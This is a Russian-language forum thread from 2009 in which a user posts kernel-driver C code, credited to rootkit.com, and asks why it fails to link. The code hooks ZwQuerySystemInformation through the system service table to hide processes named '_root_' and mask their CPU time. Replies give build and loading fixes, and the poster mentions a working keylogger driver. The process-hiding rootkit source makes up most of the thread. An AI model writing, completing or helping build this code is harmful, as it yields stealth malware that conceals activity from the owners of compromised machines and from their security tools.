Перехват API, что не так

Тема в разделе "WASM.WIN32", создана пользователем xenom0rph, 2 май 2009.

  1. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    Вообщем начал только осваивать перехват API ну и начал с процессов, делаю всё в Kernel-Mode. вот собственно, кусок кода.
    Код (Text):
    1. #pragma pack(1)
    2. typedef struct ServiceDescriptorEntry {
    3.         unsigned int *ServiceTableBase;
    4.         unsigned int *ServiceCounterTableBase; //Used only in checked build
    5.         unsigned int NumberOfServices;
    6.         unsigned char *ParamTableBase;
    7. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
    8. #pragma pack()
    9.  
    10. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    11. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
    12.  
    13.  
    14. PMDL  g_pmdlSystemCall;
    15. PVOID *MappedSystemCallTable;
    16. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
    17.  
    18. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
    19.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    20.  
    21. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
    22.        _Orig = (ZWQUERYSYSTEMINFORMATION) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    23.  
    24.  
    25.  
    26. struct _SYSTEM_THREADS
    27. {
    28.         LARGE_INTEGER           KernelTime;
    29.         LARGE_INTEGER           UserTime;
    30.         LARGE_INTEGER           CreateTime;
    31.         ULONG                           WaitTime;
    32.         PVOID                           StartAddress;
    33.         CLIENT_ID                       ClientIs;
    34.         KPRIORITY                       Priority;
    35.         KPRIORITY                       BasePriority;
    36.         ULONG                           ContextSwitchCount;
    37.         ULONG                           ThreadState;
    38.         KWAIT_REASON            WaitReason;
    39. };
    40.  
    41. struct _SYSTEM_PROCESSES
    42. {
    43.         ULONG                           NextEntryDelta;
    44.         ULONG                           ThreadCount;
    45.         ULONG                           Reserved[6];
    46.         LARGE_INTEGER           CreateTime;
    47.         LARGE_INTEGER           UserTime;
    48.         LARGE_INTEGER           KernelTime;
    49.         UNICODE_STRING          ProcessName;
    50.         KPRIORITY                       BasePriority;
    51.         ULONG                           ProcessId;
    52.         ULONG                           InheritedFromProcessId;
    53.         ULONG                           HandleCount;
    54.         ULONG                           Reserved2[2];
    55.         VM_COUNTERS                     VmCounters;
    56.         IO_COUNTERS                     IoCounters; //windows 2000 only
    57.         struct _SYSTEM_THREADS          Threads[1];
    58. };
    59.  
    60. // Added by Creative of rootkit.com
    61. struct _SYSTEM_PROCESSOR_TIMES
    62. {
    63.         LARGE_INTEGER                   IdleTime;
    64.         LARGE_INTEGER                   KernelTime;
    65.         LARGE_INTEGER                   UserTime;
    66.         LARGE_INTEGER                   DpcTime;
    67.         LARGE_INTEGER                   InterruptTime;
    68.         ULONG                           InterruptCount;
    69. };
    70.  
    71.  
    72. NTSYSAPI
    73. NTSTATUS
    74. NTAPI ZwQuerySystemInformation(
    75.             IN ULONG SystemInformationClass,
    76.                         IN PVOID SystemInformation,
    77.                         IN ULONG SystemInformationLength,
    78.                         OUT PULONG ReturnLength);
    79.  
    80.  
    81. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
    82.             ULONG SystemInformationCLass,
    83.                         PVOID SystemInformation,
    84.                         ULONG SystemInformationLength,
    85.                         PULONG ReturnLength
    86. );
    87.  
    88.  
    89.  
    90. // Added by Creative of rootkit.com
    91. LARGE_INTEGER                   m_UserTime;
    92. LARGE_INTEGER                   m_KernelTime;
    93.  
    94. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
    95.  
    96. ////////////////////////////////////////////////////////////////////////////////////
    97.  
    98. NTSTATUS NewZwQuerySystemInformation(
    99.             IN ULONG SystemInformationClass,
    100.             IN PVOID SystemInformation,
    101.             IN ULONG SystemInformationLength,
    102.             OUT PULONG ReturnLength)
    103. {
    104.  
    105.    NTSTATUS ntStatus;
    106.  
    107.    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
    108.                     SystemInformationClass,
    109.                     SystemInformation,
    110.                     SystemInformationLength,
    111.                     ReturnLength );
    112.  
    113.    if( NT_SUCCESS(ntStatus))
    114.    {
    115.       // Asking for a file and directory listing
    116.       if(SystemInformationClass == 5)
    117.       {
    118.          // This is a query for the process list.
    119.          // Look for process names that start with
    120.          // '_root_' and filter them out.
    121.                    
    122.          struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
    123.          struct _SYSTEM_PROCESSES *prev = NULL;
    124.          
    125.          while(curr)
    126.          {
    127.             //DbgPrint("Current item is %x\n", curr);
    128.             if (curr->ProcessName.Buffer != NULL)
    129.             {
    130.                 if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
    131.                 {
    132.                     m_UserTime.QuadPart += curr->UserTime.QuadPart;
    133.                     m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
    134.  
    135.                     if(prev) // Middle or Last entry
    136.                     {
    137.                         if(curr->NextEntryDelta)
    138.                             prev->NextEntryDelta += curr->NextEntryDelta;
    139.                         else    // we are last, so make prev the end
    140.                             prev->NextEntryDelta = 0;
    141.                     }
    142.                     else
    143.                     {
    144.                         if(curr->NextEntryDelta)
    145.                         {
    146.                             // we are first in the list, so move it forward
    147.                             curr->NextEntryDelta += (ULONG)SystemInformation ;
    148.                         }
    149.                         else // we are the only process!
    150.                             SystemInformation = NULL;
    151.                     }
    152.                 }
    153.             }
    154.             else // This is the entry for the Idle process
    155.             {
    156.                // Add the kernel and user times of _root_*
    157.                // processes to the Idle process.
    158.                curr->UserTime.QuadPart += m_UserTime.QuadPart;
    159.                curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
    160.  
    161.                // Reset the timers for next time we filter
    162.                m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    163.             }
    164.             prev = curr;
    165.             if(curr->NextEntryDelta) (curr->NextEntryDelta += (ULONG)curr);
    166.             else curr = NULL;
    167.          }
    168.       }
    169.       else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
    170.       {
    171.          struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
    172.          times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    173.       }
    174.  
    175.    }
    176.    return ntStatus;
    177. }
    178.  
    179.  
    180.  
    181. /*Главная функция драйвера - точка входа*/
    182. NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
    183. {
    184. NTSTATUS status = STATUS_SUCCESS;
    185. IO_STATUS_BLOCK file_stat;
    186. OBJECT_ATTRIBUTES attrib;
    187. CCHAR NameFile[64] = "\\DosDevices\\c:\\autotest.txt"; //Имя файла журнала
    188. STRING NameString;
    189. UNICODE_STRING FileName;
    190.  
    191.  
    192.  
    193. m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    194.  
    195.    // save old system call locations
    196.    OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
    197.  
    198.    // Map the memory into our domain so we can change the permissions on the MDL
    199.    g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
    200.    if(!g_pmdlSystemCall)
    201.       return STATUS_UNSUCCESSFUL;
    202.  
    203.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
    204.  
    205.    // Change the flags of the MDL
    206.    g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
    207.  
    208.  MappedSystemCallTable = (PVOID*)MmMapLockedPages(g_pmdlSystemCall, KernelMode);
    209.  
    210.    // hook system calls
    211.    HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
    Код нагло спёр, с каких то исходников, но не суть, ковырял ковырял, разбирал, разбирал в принципе всё понятно, всё просто. но вот при компиляции я получаю то что больше всего не люблю и не до конца понимаю а именно вот такие ошибки:
    Код (Text):
    1. 1>main.obj : error LNK2019: unresolved external symbol _memcmp referenced in function "long __stdcall NewZwQuerySystemInformation(unsigned long,void *,unsigned long,unsigned long *)" (?NewZwQuerySystemInformation@@YGJKPAXKPAK@Z)
    2. 1>main.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) struct ServiceDescriptorEntry KeServiceDescriptorTable" (__imp_?KeServiceDescriptorTable@@3UServiceDescriptorEntry@@A)
    3. 1>main.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) long __stdcall ZwQuerySystemInformation(unsigned long,void *,unsigned long,unsigned long *)" (__imp_?ZwQuerySystemInformation@@YGJKPAXKPAK@Z) referenced in function "long __stdcall DriverEntry(struct _DRIVER_OBJECT *,struct _UNICODE_STRING *)" (?DriverEntry@@YGJPAU_DRIVER_OBJECT@@PAU_UNICODE_STRING@@@Z)
    Больше полу дня бьюсь над ними и ни в какую, подскажите в чём ошибка куда копать.
     
  2. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Либы не все подключил видать.
     
  3. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    onSide
    Да вроде все папки указал
    Код (Text):
    1. C:\WinDDK\6001.18002\lib\atl\i386;C:\WinDDK\6001.18002\lib\mfc\i386;C:\WinDDK\6001.18002\lib\wdf\kmdf\i386;C:\WinDDK\6001.18002\lib\wnet\i386;C:\WinDDK\6001.18002\lib\crt\i386;C:\WinDDK\6001.18002\lib\w2k\i386;C:\WinDDK\6001.18002\lib\wlh\i386;C:\WinDDK\6001.18002\lib\wxp\i386
    что только нашел...
     
  4. ntcdm

    ntcdm New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2007
    Сообщения:
    247
    Может WinDDK слишком новое? не пробовал на Windows Server 2003 DDК компилировать ?
     
  5. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    А инклуды?
    c:\WinDDK\6001.18001\inc\api\
    c:\WinDDK\6001.18001\inc\api\

    c:\WinDDK\6001.18001\lib\wxp\i386\
    c:\WinDDK\6001.18001\lib\wlh\i386\

    Вот мои пути :)
     
  6. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Это ты в настройках студии пути прописал. А еще в настройках проекта Linker->Input->Add. dependencies: ntdll.lib и ntdllp.lib.
     
  7. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    onSide
    да не всё там подключено что можно
     
  8. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    onSide
    добавил ntdll.lib и ntdllp.lib.
    осталось:
    Код (Text):
    1. 1>main.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) struct ServiceDescriptorEntry KeServiceDescriptorTable" (__imp_?KeServiceDescriptorTable@@3UServiceDescriptorEntry@@A)
    2. 1>main.obj : error LNK2019: unresolved external symbol "__declspec(dllimport) long __stdcall ZwQuerySystemInformation(unsigned long,void *,unsigned long,unsigned long *)" (__imp_?ZwQuerySystemInformation@@YGJKPAXKPAK@Z) referenced in function "long __stdcall DriverEntry(struct _DRIVER_OBJECT *,struct _UNICODE_STRING *)" (?DriverEntry@@YGJPAU_DRIVER_OBJECT@@PAU_UNICODE_STRING@@@Z)
    3. 1
     
  9. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Добавь ntoskrnl.lib, у меня в проекте он видать где-то в другом месте подключен)
     
  10. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    onSide
    эта либа у меня была подключена, и ещё вот эти int64.lib, Hal.lib
     
  11. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    пипец, уже нереально тупо как люди компилируют свой код накачал, кучу примеров, все с ошибками, а те что исправляю приводит к эти ошибкам LNK2001, LNK2019. как от них избавится ума не приложу ((
     
  12. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    мб правильно настроить импорт. мангалинг немного мешает.
     
  13. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    n0name
    я ещё не сильно силён в понятиях, мангалинг - что это?
     
  14. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    вообщем получилось у меня с компилировать изменил так
    Код (Text):
    1. [b]extern "C"[/b] __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    2.  
    3. extern "C" NTSYSAPI
    4. NTSTATUS NTAPI ZwQuerySystemInformation(
    5.             IN ULONG SystemInformationClass,
    6.                         IN PVOID SystemInformation,
    7.                         IN ULONG SystemInformationLength,
    8.                         OUT PULONG ReturnLength);
    странно теперь когда запускаю драйвер он пишет "Не удается найти указанный файл"
     
  15. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Пипец это как раз когда люди качают кучу примеров и надеятся что они нажмут кнопку Build и через секунду у них будет первоклассный руткит))

    Так драйвер запустился или нет ? Юзай VMWare + WinDbg ;)
     
  16. ntcdm

    ntcdm New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2007
    Сообщения:
    247
    Если драйвер слинкован с ntdll.dl то система его не загрузит. Надо динамически находить ntdll.dll и находить адрес нужного экспорта из него. например вот здесь http://alter.org.ua/ru/docs/nt_kernel/procaddr/ есть примеры.
     
  17. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Ооой что-то я ночью нифига не соображал уже видать. Причем тут ntdll.lib )) Все это должно быть в Ntoskrnl.lib. Хотя memcmp статически может и надо линковать...хз
    Надо студию правильно настроить под билд дровера) Из того что сразу вспоминается Subsystem: Native и /NODEFAULTLIB.
    ntcdm а толку что ты узнаешь юзермодные адреса экспортов в нтдлл?
     
  18. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    onSide
    не драйвер вообще не запускается, на висте пишет "Не удается найти указанный файл", а в XP на виртуальной машине "не найдена указанная процедура", сейчас рассматриваю то что предложил ntcdm
     
  19. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Так ты посмотри что в импорте у того что ты собрал. Нтдлл там не должно быть. Если есть, посмотри какие функи оттуда експортируются.
     
  20. xenom0rph

    xenom0rph New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2009
    Сообщения:
    59
    onSide
    я вот тоже думаю может нафиг не нужен этот ntdll.lib, можен криво настроена сутдия, настривал так
    http://storinka.com.ua/2008/12/18/komplirovanie-drajverov-v-visual-studio-2008/
    до этого делал драйвер кейлоггера всё работает